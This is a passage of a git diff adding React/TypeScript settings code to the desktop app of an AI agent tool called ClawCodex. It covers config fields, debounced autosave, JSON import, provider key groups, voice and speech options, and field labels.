+  const isLong = schema.type === 'text' || String(value ?? '').length > 100
+
+  return row(
+    isLong ? (
+      <Textarea
+        className={cn('min-h-24 resize-y bg-background', CONTROL_TEXT)}
+        onChange={e => onChange(e.target.value)}
+        placeholder={c.notSet}
+        value={String(value ?? '')}
+      />
+    ) : (
+      <Input
+        className={CONTROL_TEXT}
+        onChange={e => onChange(e.target.value)}
+        placeholder={c.notSet}
+        value={String(value ?? '')}
+      />
+    ),
+    isLong
+  )
+}
diff --git a/ui-desktop/src/app/settings/config-settings.tsx b/ui-desktop/src/app/settings/config-settings.tsx
new file mode 100644
index 000000000..6ad607ca8
--- /dev/null
+++ b/ui-desktop/src/app/settings/config-settings.tsx
@@ -0,0 +1,432 @@
+import { useStore } from '@nanostores/react'
+import { useQuery } from '@tanstack/react-query'
+import type { ChangeEvent } from 'react'
+import { useEffect, useMemo, useRef, useState } from 'react'
+import { useSearchParams } from 'react-router'
+
+import { getClawCodexConfigSchema, getElevenLabsVoices, saveClawCodexConfig } from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import {
+  $dataUrlReadMaxMb,
+  clampDataUrlReadMaxMb,
+  DATA_URL_READ_DEFAULT_MAX_MB,
+  DATA_URL_READ_MAX_MAX_MB,
+  DATA_URL_READ_MIN_MAX_MB,
+  refreshDataUrlReadMaxMb,
+  setDataUrlReadMaxMb
+} from '@/store/data-url-read-max'
+import { $keepAwake, setKeepAwake } from '@/store/keep-awake'
+import { notify, notifyError } from '@/store/notifications'
+import { repoDiscoveryPolicyFromConfig, repoDiscoveryPolicySignature, scanAndRecordRepos } from '@/store/projects'
+import type { ClawCodexConfigRecord, ConfigFieldSchema } from '@/types/clawcodex'
+
+import { setClawCodexConfigCache, useClawCodexConfigRecord } from '../hooks/use-config-record'
+import { useOnProfileSwitch } from '../hooks/use-on-profile-switch'
+import { PanelEmpty } from '../overlays/panel'
+
+import { ConfigField } from './config-field'
+import { enumOptionsFor, getNested, isExternalMemoryProvider, sectionFieldEntries, setNested } from './helpers'
+import { MemoryConnect } from './memory/connect'
+import { ProviderConfigPanel } from './memory/provider-config-panel'
+import { ModelSettings, ModelSettingsSkeleton } from './model-settings'
+import { EmptyState, ListRow, SettingsContent, SettingsSkeleton, ToggleRow } from './primitives'
+import { QuickEntrySettings } from './quick-entry-settings'
+
+// On the Voice page, only surface the sub-fields of the *selected* TTS/STT
+// provider — otherwise every provider's options render at once (the "totally
+// crazy" wall of ~30 fields). Top-level keys (tts.provider, stt.enabled,
+// voice.*) always show; STT provider fields hide entirely when STT is off.
+export function voiceFieldVisible(key: string, config: ClawCodexConfigRecord): boolean {
+  const match = /^(tts|stt)\.([^.]+)\./.exec(key)
+
+  if (!match) {
+    return true
+  }
+
+  const [, domain, provider] = match
+
+  if (domain === 'stt' && !getNested(config, 'stt.enabled')) {
+    return false
+  }
+
+  return provider === String(getNested(config, `${domain}.provider`) ?? '')
+}
+
+export function ConfigSettings({
+  activeSectionId,
+  onConfigSaved,
+  onMainModelChanged,
+  importInputRef
+}: {
+  activeSectionId: string
+  onConfigSaved?: () => void
+  onMainModelChanged?: (provider: string, model: string) => void
+  importInputRef: React.RefObject<HTMLInputElement | null>
+}) {
+  const { t } = useI18n()
+  const c = t.settings.config
+  const keepAwake = useStore($keepAwake)
+  // The editable draft is local (debounced autosave watches it), but it's seeded
+  // from — and saved back through — the shared config cache, so edits are visible
+  // in the MCP/model surfaces and reopening the page doesn't reload-flash.
+  const [config, setConfig] = useState<ClawCodexConfigRecord | null>(null)
+  const { data: loadedConfig, isError: configLoadFailed, refetch: refetchConfig } = useClawCodexConfigRecord()
+
+  const {
+    data: schemaResponse,
+    isError: schemaFailed,
+    refetch: refetchSchema
+  } = useQuery({
+    queryKey: ['clawcodex-config-schema'],
+    queryFn: getClawCodexConfigSchema,
+    staleTime: 5 * 60 * 1000
+  })
+
+  const schema = schemaResponse?.fields ?? null
+  const [elevenLabsVoiceOptions, setElevenLabsVoiceOptions] = useState<string[] | null>(null)
+  const [elevenLabsVoiceLabels, setElevenLabsVoiceLabels] = useState<Record<string, string>>({})
+  const saveVersionRef = useRef(0)
+  const savedDiscoverySignatureRef = useRef<string | undefined>(undefined)
+  const [saveVersion, setSaveVersion] = useState(0)
+
+  // Seed the local draft once, the first time the shared record lands.
+  // Background refetches thereafter must not clobber in-progress edits.
+  const configSeeded = useRef(false)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (loadedConfig && !configSeeded.current) {
+      configSeeded.current = true
+      savedDiscoverySignatureRef.current = repoDiscoveryPolicySignature(repoDiscoveryPolicyFromConfig(loadedConfig))
+      setConfig(loadedConfig)
+    }
+  }, [loadedConfig])
+
+  // A profile switch invalidates (but doesn't clear) the shared config query, so
+  // the local draft would otherwise keep profile A's data and autosave it into
+  // B. Drop the seed + draft (re-seeds from B's refetch) and zero saveVersion so
+  // the pending debounced autosave is cancelled by its effect cleanup.
+  useOnProfileSwitch(() => {
+    configSeeded.current = false
+    savedDiscoverySignatureRef.current = undefined
+    setConfig(null)
+    saveVersionRef.current = 0
+    setSaveVersion(0)
+  })
+
+  useEffect(() => {
+    let cancelled = false
+
+    getElevenLabsVoices()
+      .then(result => {
+        if (cancelled || !result.available) {
+          return
+        }
+
+        setElevenLabsVoiceOptions(result.voices.map(voice => voice.voice_id))
+        setElevenLabsVoiceLabels(Object.fromEntries(result.voices.map(voice => [voice.voice_id, voice.label])))
+      })
+      .catch(() => {
+        if (!cancelled) {
+          setElevenLabsVoiceOptions(null)
+          setElevenLabsVoiceLabels({})
+        }
+      })
+
+    return () => void (cancelled = true)
+  }, [])
+
+  // eslint-disable-next-line no-restricted-syntax -- autosave bookkeeping refs, not an atom mirror
+  useEffect(() => {
+    if (!config || saveVersion === 0) {
+      return
+    }
+
+    const v = saveVersion
+
+    const t = window.setTimeout(() => {
+      void (async () => {
+        try {
+          const result = await saveClawCodexConfig(config)
+
+          if (!result.ok) {
+            throw new Error(c.autosaveFailed)
+          }
+
+          // Mirror the saved record into the shared cache so MCP/model surfaces
+          // reflect the edit without their own refetch.
+          setClawCodexConfigCache(config)
+
+          if (saveVersionRef.current === v) {
+            const discoverySignature = repoDiscoveryPolicySignature(repoDiscoveryPolicyFromConfig(config))
+
+            if (savedDiscoverySignatureRef.current !== discoverySignature) {
+              savedDiscoverySignatureRef.current = discoverySignature
+              await scanAndRecordRepos(true)
+            }
+
+            onConfigSaved?.()
+          }
+        } catch (err) {
+          if (saveVersionRef.current === v) {
+            notifyError(err, c.autosaveFailed)
+          }
+        }
+      })()
+    }, 550)
+
+    return () => window.clearTimeout(t)
+    // eslint-disable-next-line react-hooks/exhaustive-deps -- copy is stable; avoid re-scheduling autosave on locale change
+  }, [config, onConfigSaved, saveVersion])
+
+  const updateConfig = (next: ClawCodexConfigRecord) => {
+    saveVersionRef.current += 1
+    setConfig(next)
+    setSaveVersion(saveVersionRef.current)
+  }
+
+  const sectionFields = useMemo(() => {
+    if (!schema || !config) {
+      return new Map<string, [string, ConfigFieldSchema][]>()
+    }
+
+    return sectionFieldEntries(schema, config)
+  }, [schema, config])
+
+  const fields = sectionFields.get(activeSectionId) ?? []
+
+  // Deep-link target from the command palette (?field=<key>): scroll the row
+  // into view and flash it, then drop the param so it doesn't re-fire.
+  const [searchParams, setSearchParams] = useSearchParams()
+  const targetField = searchParams.get('field')
+
+  useEffect(() => {
+    if (!targetField || !config || !schema) {
+      return
+    }
+
+    const element = document.getElementById(`setting-field-${targetField}`)
+
+    if (!element) {
+      return
+    }
+
+    element.scrollIntoView({ behavior: 'smooth', block: 'center' })
+    element.classList.add('setting-field-highlight')
+
+    const timeout = window.setTimeout(() => element.classList.remove('setting-field-highlight'), 1600)
+
+    setSearchParams(
+      previous => {
+        const next = new URLSearchParams(previous)
+        next.delete('field')
+
+        return next
+      },
+      { replace: true }
+    )
+
+    return () => window.clearTimeout(timeout)
+  }, [config, schema, setSearchParams, targetField])
+
+  function handleImport(e: ChangeEvent<HTMLInputElement>) {
+    const file = e.target.files?.[0]
+
+    if (!file) {
+      return
+    }
+
+    const reader = new FileReader()
+
+    reader.onload = () => {
+      try {
+        updateConfig(JSON.parse(String(reader.result)))
+        notify({ kind: 'success', title: c.imported, message: t.common.saving })
+      } catch (err) {
+        notifyError(err, c.invalidJson)
+      }
+    }
+
+    reader.readAsText(file)
+    e.target.value = ''
+  }
+
+  if (!config || !schema) {
+    // A failed config/schema fetch must surface a retry, not spin forever.
+    if ((configLoadFailed && !config) || (schemaFailed && !schema)) {
+      return (
+        <div className="flex h-full min-h-0 flex-1">
+          <PanelEmpty
+            action={
+              <Button
+                onClick={() => {
+                  void refetchConfig()
+                  void refetchSchema()
+                }}
+                size="sm"
+              >
+                {t.skills.refresh}
+              </Button>
+            }
+            icon="error"
+            title={c.failedLoad}
+          />
+        </div>
+      )
+    }
+
+    // Every section keeps its shape via a skeleton; model gets its bespoke one
+    // (its catalog fetch is the slow part), the rest the shared field rhythm.
+    if (activeSectionId === 'model') {
+      return (
+        <SettingsContent>
+          <div className="mb-6">
+            <ModelSettingsSkeleton />
+          </div>
+        </SettingsContent>
+      )
+    }
+
+    return <SettingsSkeleton sections={[{ rows: 6 }]} />
+  }
+
+  const visibleFields = activeSectionId === 'voice' ? fields.filter(([key]) => voiceFieldVisible(key, config)) : fields
+
+  return (
+    <SettingsContent>
+      {activeSectionId === 'model' && (
+        <div className="mb-6">
+          <ModelSettings onMainModelChanged={onMainModelChanged} />
+        </div>
+      )}
+      {/* Device-local desktop prefs (not config.yaml) — they live here since
+          keeping the machine awake and the global Quick Entry chord are both
+          power-user, this-computer-only knobs. */}
+      {activeSectionId === 'advanced' && (
+        <>
+          <ToggleRow
+            checked={keepAwake}
+            description={c.keepAwakeDesc}
+            label={c.keepAwakeTitle}
+            onChange={setKeepAwake}
+          />
+          <QuickEntrySettings />
+        </>
+      )}
+      {/* Device-local attach/preview byte cap (main-process IPC guard). Chat is
+          where image-attachment behavior already lives, so this sits above the
+          schema fields for that section. */}
+      {activeSectionId === 'chat' ? <AttachmentSizeSetting /> : null}
+      {visibleFields.length === 0 && activeSectionId !== 'chat' ? (
+        <EmptyState description={c.emptyDesc} title={c.emptyTitle} />
+      ) : visibleFields.length === 0 ? null : (
+        <div className="grid gap-1">
+          {visibleFields.map(([key, field]) => (
+            <div className="scroll-mt-6 rounded-lg" id={`setting-field-${key}`} key={key}>
+              <ConfigField
+                descriptionExtra={
+                  key === 'memory.provider' && isExternalMemoryProvider(getNested(config, key)) ? (
+                    <MemoryConnect provider={String(getNested(config, key))} />
+                  ) : undefined
+                }
+                enumOptions={
+                  key === 'tts.elevenlabs.voice_id'
+                    ? enumOptionsFor(key, getNested(config, key), config, elevenLabsVoiceOptions ?? undefined)
+                    : enumOptionsFor(key, getNested(config, key), config)
+                }
+                onChange={value => updateConfig(setNested(config, key, value))}
+                optionLabels={key === 'tts.elevenlabs.voice_id' ? elevenLabsVoiceLabels : undefined}
+                schema={field}
+                schemaKey={key}
+                value={getNested(config, key)}
+              />
+              {key === 'memory.provider' && isExternalMemoryProvider(getNested(config, key)) ? (
+                <ProviderConfigPanel key={String(getNested(config, key))} provider={String(getNested(config, key))} />
+              ) : null}
+            </div>
+          ))}
+        </div>
+      )}
+      <input
+        accept=".json,application/json"
+        className="hidden"
+        onChange={handleImport}
+        ref={importInputRef}
+        type="file"
+      />
+    </SettingsContent>
+  )
+}
+
+/** Free-form MB cap for Desktop's data-URL attach/preview path (main-process). */
+function AttachmentSizeSetting() {
+  const { t } = useI18n()
+  const c = t.settings.config
+  const stored = useStore($dataUrlReadMaxMb)
+  const [draft, setDraft] = useState(String(stored))
+
+  useEffect(() => {
+    void refreshDataUrlReadMaxMb()
+  }, [])
+
+  useEffect(() => {
+    setDraft(String(stored))
+  }, [stored])
+
+  const commit = () => {
+    // An empty draft means "reset to the default", not the 1 MB floor
+    // (Number('') === 0 would otherwise clamp down to the floor).
+    const applied = draft.trim() === '' ? DATA_URL_READ_DEFAULT_MAX_MB : clampDataUrlReadMaxMb(draft)
+
+    // Unchanged: snap the draft back to the stored value and skip the
+    // pointless IPC write + haptic.
+    if (applied === stored) {
+      setDraft(String(stored))
+
+      return
+    }
+
+    void setDataUrlReadMaxMb(applied).then(next => {
+      setDraft(String(next))
+
+      // On a bridge write failure the store keeps the old value; only
+      // celebrate when the new cap actually landed.
+      if (next === applied) {
+        triggerHaptic('selection')
+      }
+    })
+  }
+
+  return (
+    <ListRow
+      action={
+        <div className="flex items-center gap-2">
+          <Input
+            aria-label={c.attachmentSizeLabel}
+            className="w-20"
+            inputMode="numeric"
+            max={DATA_URL_READ_MAX_MAX_MB}
+            min={DATA_URL_READ_MIN_MAX_MB}
+            onBlur={commit}
+            onChange={event => setDraft(event.target.value)}
+            onKeyDown={event => {
+              if (event.key === 'Enter') {
+                event.currentTarget.blur()
+              }
+            }}
+            type="number"
+            value={draft}
+          />
+          <span className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+            {c.attachmentSizeUnit}
+          </span>
+        </div>
+      }
+      description={c.attachmentSizeDesc}
+      title={c.attachmentSizeTitle}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/settings/constants.ts b/ui-desktop/src/app/settings/constants.ts
new file mode 100644
index 000000000..c95c48e76
--- /dev/null
+++ b/ui-desktop/src/app/settings/constants.ts
@@ -0,0 +1,794 @@
+import {
+  Box,
+  Brain,
+  type IconComponent,
+  Lock,
+  MessageCircle,
+  Mic,
+  Monitor,
+  Moon,
+  Palette,
+  Sun,
+  Wrench
+} from '@/lib/icons'
+import { REASONING_EFFORTS } from '@/lib/reasoning-effort'
+import type { ThemeMode } from '@/themes/context'
+
+import { defineFieldCopy } from './field-copy'
+import type { DesktopConfigSection } from './types'
+
+// Provider group definitions used to fold raw env-var names like
+// ``XAI_API_KEY`` into a single "xAI" card with a friendly label, short
+// description, and signup URL. Membership is determined by longest
+// prefix match (see ``providerGroup`` in helpers.ts) so more specific
+// prefixes (``MINIMAX_CN_``) correctly beat their general parents
+// (``MINIMAX_``). New providers should be added here so they get their
+// own card in Settings → Keys instead of being lumped into "Other".
+interface ProviderPrefix {
+  prefix: string
+  name: string
+  /** Optional one-line tagline shown beneath the group name. */
+  description?: string
+  /** Optional canonical signup/console URL surfaced from the card header. */
+  docsUrl?: string
+  /** Lower numbers float to the top of the providers list. */
+  priority: number
+}
+
+export const EMPTY_SELECT_VALUE = '__clawcodex_empty__'
+export const CONTROL_TEXT = 'text-xs'
+
+export const PROVIDER_GROUPS: ProviderPrefix[] = [
+  {
+    prefix: 'NOUS_',
+    name: 'Nous Portal',
+    description: 'Hosted ClawCodex & Nous-trained models',
+    docsUrl: 'https://portal.invalid',
+    priority: 0
+  },
+  {
+    prefix: 'FIREWORKS_',
+    name: 'Fireworks AI',
+    description: 'OpenAI-compatible direct model API',
+    docsUrl: 'https://app.fireworks.ai/settings/users/api-keys',
+    // Slot #2 — mirrors CANONICAL_PROVIDERS (after Nous, ahead of OpenRouter).
+    // Same numeric priority as OpenRouter; name sort puts Fireworks first.
+    priority: 1
+  },
+  {
+    prefix: 'OPENROUTER_',
+    name: 'OpenRouter',
+    description: 'Aggregator for hundreds of frontier models',
+    docsUrl: 'https://openrouter.ai/keys',
+    priority: 1
+  },
+  {
+    prefix: 'ANTHROPIC_',
+    name: 'Anthropic',
+    description: 'Claude API access (Sonnet, Opus, Haiku)',
+    docsUrl: 'https://console.anthropic.com/settings/keys',
+    priority: 2
+  },
+  {
+    prefix: 'XAI_',
+    name: 'xAI',
+    description: 'Grok models (use OAuth for SuperGrok / Premium+)',
+    docsUrl: 'https://console.x.ai/',
+    priority: 3
+  },
+  {
+    prefix: 'GOOGLE_',
+    name: 'Gemini',
+    description: 'Google AI Studio (Gemini 1.5 / 2.0 / 2.5)',
+    docsUrl: 'https://aistudio.google.com/app/apikey',
+    priority: 4
+  },
+  { prefix: 'GEMINI_', name: 'Gemini', priority: 4 },
+  {
+    prefix: 'DEEPSEEK_',
+    name: 'DeepSeek',
+    description: 'Direct DeepSeek API (V3.x, R1)',
+    docsUrl: 'https://platform.deepseek.com/api_keys',
+    priority: 5
+  },
+  {
+    prefix: 'DASHSCOPE_',
+    name: 'DashScope (Qwen)',
+    description: 'Alibaba Cloud DashScope — Qwen and multi-vendor models',
+    docsUrl: 'https://modelstudio.console.alibabacloud.com/',
+    priority: 6
+  },
+  { prefix: 'CLAWCODEX_QWEN_', name: 'DashScope (Qwen)', priority: 6 },
+  {
+    prefix: 'GLM_',
+    name: 'GLM / Z.AI',
+    description: 'Zhipu GLM-4.6 and Z.AI hosted endpoints',
+    docsUrl: 'https://z.ai/',
+    priority: 7
+  },
+  { prefix: 'ZAI_', name: 'GLM / Z.AI', priority: 7 },
+  { prefix: 'Z_AI_', name: 'GLM / Z.AI', priority: 7 },
+  {
+    prefix: 'KIMI_',
+    name: 'Kimi / Moonshot',
+    description: 'Moonshot Kimi K2 / coding endpoints',
+    docsUrl: 'https://platform.moonshot.cn/',
+    priority: 8
+  },
+  {
+    prefix: 'KIMI_CN_',
+    name: 'Kimi (China)',
+    description: 'Moonshot China endpoint',
+    docsUrl: 'https://platform.moonshot.cn/',
+    priority: 9
+  },
+  {
+    prefix: 'MINIMAX_',
+    name: 'MiniMax',
+    description: 'MiniMax-M2 and Hailuo international endpoints',
+    docsUrl: 'https://www.minimax.io/',
+    priority: 10
+  },
+  {
+    prefix: 'MINIMAX_CN_',
+    name: 'MiniMax (China)',
+    description: 'MiniMax mainland China endpoint',
+    docsUrl: 'https://www.minimaxi.com/',
+    priority: 11
+  },
+  {
+    prefix: 'HF_',
+    name: 'Hugging Face',
+    description: 'Inference Providers — 20+ open models via router.huggingface.co',
+    docsUrl: 'https://huggingface.co/settings/tokens',
+    priority: 12
+  },
+  {
+    prefix: 'OPENCODE_ZEN_',
+    name: 'OpenCode Zen',
+    description: 'Pay-as-you-go access to curated coding models',
+    docsUrl: 'https://opencode.ai/auth',
+    priority: 13
+  },
+  {
+    prefix: 'OPENCODE_GO_',
+    name: 'OpenCode Go',
+    description: '$10/month subscription for open coding models',
+    docsUrl: 'https://opencode.ai/auth',
+    priority: 14
+  },
+  {
+    prefix: 'NVIDIA_',
+    name: 'NVIDIA NIM',
+    description: 'build.nvidia.com or your own local NIM endpoint',
+    docsUrl: 'https://build.nvidia.com/',
+    priority: 15
+  },
+  {
+    prefix: 'OLLAMA_',
+    name: 'Ollama Cloud',
+    description: 'Cloud-hosted open models from ollama.com',
+    docsUrl: 'https://ollama.com/settings',
+    priority: 16
+  },
+  {
+    prefix: 'LM_',
+    name: 'LM Studio',
+    description: 'Local LM Studio server (OpenAI-compatible)',
+    docsUrl: 'https://lmstudio.ai/docs/local-server',
+    priority: 17
+  },
+  {
+    prefix: 'STEPFUN_',
+    name: 'StepFun',
+    description: 'StepFun Step Plan coding models',
+    docsUrl: 'https://platform.stepfun.com/',
+    priority: 18
+  },
+  {
+    prefix: 'XIAOMI_',
+    name: 'Xiaomi MiMo',
+    description: 'MiMo-V2.5 and Xiaomi proprietary models',
+    docsUrl: 'https://platform.xiaomimimo.com',
+    priority: 19
+  },
+  {
+    prefix: 'ARCEEAI_',
+    name: 'Arcee AI',
+    description: 'Arcee-hosted small + medium models',
+    docsUrl: 'https://chat.arcee.ai/',
+    priority: 20
+  },
+  { prefix: 'ARCEE_', name: 'Arcee AI', priority: 20 },
+  {
+    prefix: 'GMI_',
+    name: 'GMI Cloud',
+    description: 'GMI Cloud GPU + model serving',
+    docsUrl: 'https://www.gmicloud.ai/',
+    priority: 21
+  },
+  {
+    prefix: 'AZURE_FOUNDRY_',
+    name: 'Azure Foundry',
+    description: 'Azure AI Foundry custom endpoints (OpenAI / Anthropic-compatible)',
+    docsUrl: 'https://ai.azure.com/',
+    priority: 22
+  },
+  {
+    prefix: 'AWS_',
+    name: 'AWS Bedrock',
+    description: 'Authenticate via AWS profile + region',
+    docsUrl: 'https://docs.aws.amazon.com/bedrock/latest/userguide/bedrock-regions.html',
+    priority: 23
+  }
+]
+
+export const BUILTIN_PERSONALITIES = [
+  'helpful',
+  'concise',
+  'technical',
+  'creative',
+  'teacher',
+  'kawaii',
+  'catgirl',
+  'pirate',
+  'shakespeare',
+  'surfer',
+  'noir',
+  'uwu',
+  'philosopher',
+  'hype'
+]
+
+// Schema-side select overrides for desktop-relevant enum fields whose
+// backend schema only declares a string type.
+export const ENUM_OPTIONS: Record<string, string[]> = {
+  'agent.image_input_mode': ['auto', 'native', 'text'],
+  'approvals.mode': ['manual', 'smart', 'off'],
+  'code_execution.mode': ['project', 'strict'],
+  'context.engine': ['compressor', 'default', 'custom'],
+  // '' = inherit the agent's own effort; the rest is the shared scale.
+  'delegation.reasoning_effort': ['', ...REASONING_EFFORTS],
+  // NOTE: memory.provider is intentionally NOT listed here. Its options are
+  // discovery-driven and served by the backend config schema (merged
+  // per-request in web_server._schema_with_dynamic_provider_options), so
+  // config-field consumes schema.options directly — a static list here would
+  // shadow that and hide user-installed/pip providers (#49513).
+  // Terminal execution backends — kept in sync with the dispatch ladder in
+  // tools/terminal_tool.py::_create_environment (local/docker/singularity/
+  // modal/daytona/ssh). Remote backends need extra env (image, tokens, host).
+  'terminal.backend': ['local', 'docker', 'singularity', 'modal', 'daytona', 'ssh'],
+  'stt.elevenlabs.model_id': ['scribe_v2', 'scribe_v1'],
+  'stt.local.model': ['tiny', 'base', 'small', 'medium', 'large-v3'],
+  // Speech-to-text backends — kept in sync with the stt block in
+  // clawcodex_cli/config.py (local/groq/openai/mistral/elevenlabs).
+  'stt.provider': ['local', 'groq', 'openai', 'mistral', 'xai', 'elevenlabs'],
+  // OpenAI TTS voices — the union across models (per the OpenAI TTS API
+  // docs). Model-specific narrowing happens in enumOptionsFor():
+  // tts-1 / tts-1-hd support 9 voices; gpt-4o-mini-tts supports all 13.
+  // Free-input field — the list is suggestions, not a gate (FREE_INPUT_KEYS).
+  'tts.openai.voice': [
+    'alloy',
+    'ash',
+    'ballad',
+    'cedar',
+    'coral',
+    'echo',
+    'fable',
+    'marin',
+    'nova',
+    'onyx',
+    'sage',
+    'shimmer',
+    'verse'
+  ],
+  // Popular Edge neural voices (the full catalog is 400+ — free input).
+  'tts.edge.voice': [
+    'en-US-AriaNeural',
+    'en-US-JennyNeural',
+    'en-US-AndrewNeural',
+    'en-US-BrianNeural',
+    'en-US-GuyNeural',
+    'en-GB-SoniaNeural'
+  ],
+  'tts.gemini.model': ['gemini-2.5-flash-preview-tts', 'gemini-2.5-pro-preview-tts'],
+  // Gemini TTS prebuilt voice set.
+  'tts.gemini.voice': [
+    'Zephyr',
+    'Puck',
+    'Charon',
+    'Kore',
+    'Fenrir',
+    'Leda',
+    'Orus',
+    'Aoede',
+    'Callirrhoe',
+    'Autonoe',
+    'Enceladus',
+    'Iapetus',
+    'Umbriel',
+    'Algieba',
+    'Despina',
+    'Erinome',
+    'Algenib',
+    'Rasalgethi',
+    'Laomedeia',
+    'Achernar',
+    'Alnilam',
+    'Schedar',
+    'Gacrux',
+    'Pulcherrima',
+    'Achird',
+    'Zubenelgenubi',
+    'Vindemiatrix',
+    'Sadachbia',
+    'Sadaltager',
+    'Sulafat'
+  ],
+  'tts.xai.voice_id': ['eve'],
+  'tts.minimax.model': ['speech-02-hd', 'speech-02-turbo'],
+  'tts.mistral.model': ['voxtral-mini-tts-2603'],
+  'tts.kittentts.model': [
+    'KittenML/kitten-tts-nano-0.8-int8',
+    'KittenML/kitten-tts-micro-0.8-int8',
+    'KittenML/kitten-tts-mini-0.8-int8'
+  ],
+  'tts.kittentts.voice': ['Jasper'],
+  'tts.piper.voice': ['en_US-lessac-medium', 'en_US-amy-medium', 'en_US-ryan-high', 'en_GB-alan-medium'],
+  'tts.neutts.model': ['neuphonic/neutts-air-q4-gguf', 'neuphonic/neutts-air-q8-gguf', 'neuphonic/neutts-air'],
+  // Text-to-speech backends — kept in sync with the built-in source of truth
+  // (agent/tts_registry.py::_BUILTIN_NAMES / tools/tts_tool.py::
+  // BUILTIN_TTS_PROVIDERS). 'xai' is Grok TTS.
+  'tts.provider': [
+    'edge',
+    'elevenlabs',
+    'openai',
+    'xai',
+    'minimax',
+    'mistral',
+    'gemini',
+    'neutts',
+    'kittentts',
+    'piper'
+  ],
+  'stt.openai.model': ['whisper-1', 'gpt-4o-mini-transcribe', 'gpt-4o-transcribe', 'gpt-transcribe'],
+  'stt.mistral.model': ['voxtral-mini-latest', 'voxtral-mini-2602'],
+  'tts.openai.model': ['gpt-4o-mini-tts', 'tts-1', 'tts-1-hd'],
+  'tts.elevenlabs.model_id': ['eleven_multilingual_v2', 'eleven_turbo_v2_5', 'eleven_flash_v2_5'],
+  // NeuTTS local inference device.
+  'tts.neutts.device': ['cpu', 'cuda', 'mps'],
+  'updates.non_interactive_local_changes': ['stash', 'discard']
+}
+
+// Voice/model name fields render as a free-input combobox (Input + datalist)
+// instead of a closed Select: providers accept custom voice IDs (ElevenLabs
+// cloned voices, xAI custom voices, Edge's 400+ catalog) and ship new model
+// names faster than this list updates. The ENUM_OPTIONS above become
+// suggestions rather than a gate for these keys.
+export const FREE_INPUT_KEYS = new Set([
+  'tts.edge.voice',
+  'tts.openai.model',
+  'tts.openai.voice',
+  'tts.elevenlabs.voice_id',
+  'tts.gemini.model',
+  'tts.gemini.voice',
+  'tts.xai.voice_id',
+  'tts.minimax.model',
+  'tts.minimax.voice_id',
+  'tts.mistral.model',
+  'tts.mistral.voice_id',
+  'tts.neutts.model',
+  'tts.kittentts.model',
+  'tts.kittentts.voice',
+  'tts.piper.voice',
+  'tts.deepinfra.model',
+  'tts.deepinfra.voice'
+])
+
+export const FIELD_LABELS: Record<string, string> = defineFieldCopy({
+  model: 'Default Model',
+  modelContextLength: 'Context Window',
+  fallbackProviders: 'Fallback Models',
+  toolsets: 'Enabled Toolsets',
+  timezone: 'Timezone',
+  display: {
+    personality: 'Personality',
+    showReasoning: 'Reasoning Blocks'
+  },
+  desktop: {
+    repoScanEnabled: 'Automatic Repository Discovery',
+    repoScanRoots: 'Repository Discovery Roots',
+    repoScanExcludePaths: 'Excluded Repository Paths'
+  },
+  agent: {
+    maxTurns: 'Max Agent Steps',
+    imageInputMode: 'Image Attachments',
+    apiMaxRetries: 'API Retries',
+    serviceTier: 'Service Tier',
+    toolUseEnforcement: 'Tool-Use Enforcement'
+  },
+  terminal: {
+    cwd: 'Working Directory',
+    backend: 'Execution Backend',
+    timeout: 'Command Timeout',
+    persistentShell: 'Persistent Shell',
+    envPassthrough: 'Environment Passthrough',
+    dockerImage: 'Docker Image',
+    singularityImage: 'Singularity Image',
+    modalImage: 'Modal Image',
+    daytonaImage: 'Daytona Image'
+  },
+  fileReadMaxChars: 'File Read Limit',
+  toolOutput: {
+    maxBytes: 'Terminal Output Limit',
+    maxLines: 'File Page Limit',
+    maxLineLength: 'Line Length Limit'
+  },
+  codeExecution: {
+    mode: 'Code Execution Mode'
+  },
+  approvals: {
+    mode: 'Approval Mode',
+    timeout: 'Approval Timeout',
+    mcpReloadConfirm: 'Confirm MCP Reloads'
+  },
+  commandAllowlist: 'Command Allowlist',
+  security: {
+    redactSecrets: 'Redact Secrets',
+    allowPrivateUrls: 'Allow Private URLs'
+  },
+  browser: {
+    allowPrivateUrls: 'Browser Private URLs',
+    autoLocalForPrivateUrls: 'Local Browser For Private URLs'
+  },
+  checkpoints: {
+    enabled: 'File Checkpoints',
+    maxSnapshots: 'Checkpoint Limit'
+  },
+  voice: {
+    recordKey: 'Voice Shortcut',
+    maxRecordingSeconds: 'Max Recording Length',
+    autoTts: 'Read Responses Aloud'
+  },
+  stt: {
+    enabled: 'Speech To Text',
+    echoTranscripts: 'Echo Transcripts',
+    provider: 'Speech-To-Text Provider',
+    local: {
+      model: 'Local Transcription Model',
+      language: 'Transcription Language'
+    },
+    openai: {
+      model: 'OpenAI STT Model'
+    },
+    groq: {
+      model: 'Groq STT Model'
+    },
+    mistral: {
+      model: 'Mistral STT Model'
+    },
+    elevenlabs: {
+      modelId: 'ElevenLabs STT Model',
+      languageCode: 'ElevenLabs Language',
+      tagAudioEvents: 'Tag Audio Events',
+      diarize: 'Speaker Diarization'
+    }
+  },
+  tts: {
+    provider: 'Text-To-Speech Provider',
+    edge: {
+      voice: 'Edge Voice'
+    },
+    openai: {
+      model: 'OpenAI TTS Model',
+      voice: 'OpenAI Voice'
+    },
+    elevenlabs: {
+      voiceId: 'ElevenLabs Voice',
+      modelId: 'ElevenLabs Model'
+    },
+    xai: {
+      voiceId: 'xAI (Grok) Voice',
+      language: 'xAI Language',
+      speed: 'xAI Playback Speed',
+      autoSpeechTags: 'xAI Auto Speech Tags',
+      optimizeStreamingLatency: 'xAI Streaming Latency Optimization',
+      sampleRate: 'xAI Sample Rate',
+      bitRate: 'xAI Bit Rate'
+    },
+    minimax: {
+      model: 'MiniMax TTS Model',
+      voiceId: 'MiniMax Voice'
+    },
+    mistral: {
+      model: 'Mistral TTS Model',
+      voiceId: 'Mistral Voice'
+    },
+    gemini: {
+      model: 'Gemini TTS Model',
+      voice: 'Gemini Voice'
+    },
+    neutts: {
+      model: 'NeuTTS Model',
+      device: 'NeuTTS Device'
+    },
+    kittentts: {
+      model: 'KittenTTS Model',
+      voice: 'KittenTTS Voice'
+    },
+    piper: {
+      voice: 'Piper Voice'
+    },
+    deepinfra: {
+      model: 'DeepInfra TTS Model',
+      voice: 'DeepInfra Voice'
+    }
+  },
+  memory: {
+    memoryEnabled: 'Persistent Memory',
